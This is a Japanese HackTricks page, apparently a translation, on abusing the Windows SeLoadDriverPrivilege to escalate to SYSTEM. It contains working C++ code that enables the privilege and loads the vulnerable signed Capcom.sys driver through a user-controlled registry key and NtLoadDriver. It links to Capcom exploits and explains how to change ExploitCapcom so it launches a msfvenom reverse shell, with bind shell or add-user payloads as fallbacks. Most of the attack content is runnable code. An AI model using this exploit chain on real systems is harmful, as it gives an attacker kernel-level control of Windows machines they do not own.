13 KiB
SeLoadDriverPrivilege の悪用
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricks で会社を宣伝したいですか?または、最新バージョンの PEASS を入手したり、HackTricks を PDF でダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式の PEASS & HackTricks スワッグを手に入れましょう。
- 💬 Discord グループまたはtelegram グループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- **ハッキングのトリックを共有するには、hacktricks リポジトリとhacktricks-cloud リポジトリ**に PR を提出してください。
SeLoadDriverPrivilege
どのユーザーにも割り当てるのは非常に危険な特権です。これにより、ユーザーはカーネルドライバをロードし、カーネル特権でコードを実行することができます(NT\System
)。以下のスクリーンショットでは、offense\spotless
ユーザーがこの特権を持っていることがわかります:
Whoami /priv
コマンドでは、この特権がデフォルトで無効になっていることがわかります:
しかし、以下のコードを使用すると、この特権を簡単に有効にすることができます:
{% code title="privileges.cpp" %}
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
int main()
{
TOKEN_PRIVILEGES tp;
LUID luid;
bool bEnablePrivilege(true);
HANDLE hToken(NULL);
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
L"SeLoadDriverPrivilege", // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %un", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege) {
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %x", GetLastError());
return FALSE;
}
system("cmd");
return 0;
}
{% endcode %}
上記をコンパイルして実行すると、特権 SeLoadDriverPrivilege
が有効になります:
Capcom.sys ドライバの脆弱性
SeLoadDriverPrivilege
が危険であることをさらに証明するために、特権を昇格させるためにそれを悪用してみましょう。
NTLoadDriver を使用して新しいドライバをロードすることができます:
NTSTATUS NTLoadDriver(
_In_ PUNICODE_STRING DriverServiceName
);
デフォルトでは、ドライバーサービス名は\Registry\Machine\System\CurrentControlSet\Services\
の下にあるはずです。
しかし、ドキュメントによると、HKEY_CURRENT_USERの下のパスも使用できるため、システム上で任意のドライバーをロードするためにそこでレジストリを変更することもできます。 新しいレジストリで定義する必要がある関連するパラメータは次のとおりです。
- ImagePath: ドライバーパスを指定するREG_EXPAND_SZ型の値。このコンテキストでは、パスは特権のないユーザーによって変更許可が与えられたディレクトリである必要があります。
- Type: サービスのタイプを示すREG_WORD型の値。私たちの目的のために、値はSERVICE_KERNEL_DRIVER(0x00000001)として定義されるべきです。
したがって、**\Registry\User\<User-SID>\System\CurrentControlSet\MyService
**に新しいレジストリを作成し、ImagePathにドライバーへのパス、Typeに値1を指定し、それらの値をエクスプロイトで使用することができます(ユーザーSIDは次の方法で取得できます:Get-ADUser -Identity 'USERNAME' | select SID
または(New-Object System.Security.Principal.NTAccount("USERNAME")).Translate([System.Security.Principal.SecurityIdentifier]).value
)。
PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
最初の変数は、被害者のシステム上にある脆弱なCapcom.sysドライバの場所を示す文字列変数を宣言しています。2番目の変数は、使用されるサービス名を示す文字列変数です(任意のサービス名を使用できます)。 注意:ドライバはWindowsによって署名されている必要があるため、任意のドライバをロードすることはできません。しかし、Capcom.sysは任意のコードを実行するために悪用でき、Windowsによって署名されています。したがって、このドライバをロードして悪用することが目標です。
ドライバをロードする:
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
#include <stdlib.h>
#include <locale.h>
#include <iostream>
#include "stdafx.h"
NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);
int main()
{
TOKEN_PRIVILEGES tp;
LUID luid;
bool bEnablePrivilege(true);
HANDLE hToken(NULL);
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
L"SeLoadDriverPrivilege", // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %un", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege) {
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %x", GetLastError());
return FALSE;
}
//system("cmd");
// below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h
std::cout << "[+] Set Registry Keys" << std::endl;
NTSTATUS st1;
UNICODE_STRING pPath;
UNICODE_STRING pPathReg;
PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
HMODULE hObsolete = GetModuleHandleA(NTDLL);
*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");
RtlInitUnicodeString(&pPath, pPathSource);
RtlInitUnicodeString(&pPathReg, pPathSourceReg);
st1 = NtLoadDriver(&pPathReg);
std::cout << "[+] value of st1: " << st1 << "\n";
if (st1 == ERROR_SUCCESS) {
std::cout << "[+] Driver Loaded as Kernel..\n";
std::cout << "[+] Press [ENTER] to unload driver\n";
}
getchar();
st1 = NtUnloadDriver(&pPathReg);
if (st1 == ERROR_SUCCESS) {
std::cout << "[+] Driver unloaded from Kernel..\n";
std::cout << "[+] Press [ENTER] to exit\n";
getchar();
}
return 0;
}
上記のコードがコンパイルされ、実行されると、悪意のある Capcom.sys
ドライバが被害者のシステムにロードされることがわかります:
ダウンロード:Capcom.sys - 10KB
今度はロードされたドライバを悪用して任意のコードを実行します。
https://github.com/tandasat/ExploitCapcom と https://github.com/zerosum0x0/puppetstrings からエクスプロイトをダウンロードし、システム上で実行して特権を NT Authority\System
に昇格させることができます:
GUI なし
ターゲットには GUI アクセスがない 場合、コンパイル前に ExploitCapcom.cpp
コードを変更する必要があります。ここでは、292行を編集し、C:\\Windows\\system32\\cmd.exe"
を、例えば msfvenom
で作成した逆シェルバイナリ(例:c:\ProgramData\revshell.exe
)に置き換えることができます。
コード:c
// Launches a command shell process
static bool LaunchShell()
{
TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
&ProcessInfo))
{
return false;
}
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return true;
}
この例のCommandLine
文字列は次のように変更されます:
コード:c
TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");
私たちは、生成したmsfvenom
ペイロードに基づいてリスナーを設定し、ExploitCapcom.exe
を実行すると、逆シェル接続が受信されることを期待しています。逆シェル接続が何らかの理由でブロックされている場合は、バインドシェルまたはexec/addユーザーペイロードを試すことができます。
自動
https://github.com/TarlogicSecurity/EoPLoadDriver/を使用して、特権を自動的に有効化し、HKEY_CURRENT_USERの下にレジストリキーを作成し、作成するレジストリキーとドライバのパスを指定してNTLoadDriverを実行することができます。
その後、特権昇格のためにCapcom.sysのエクスプロイトをダウンロードして使用する必要があります。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか? SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- **ハッキングのトリックを共有するには、hacktricks repoとhacktricks-cloud repo**にPRを提出してください。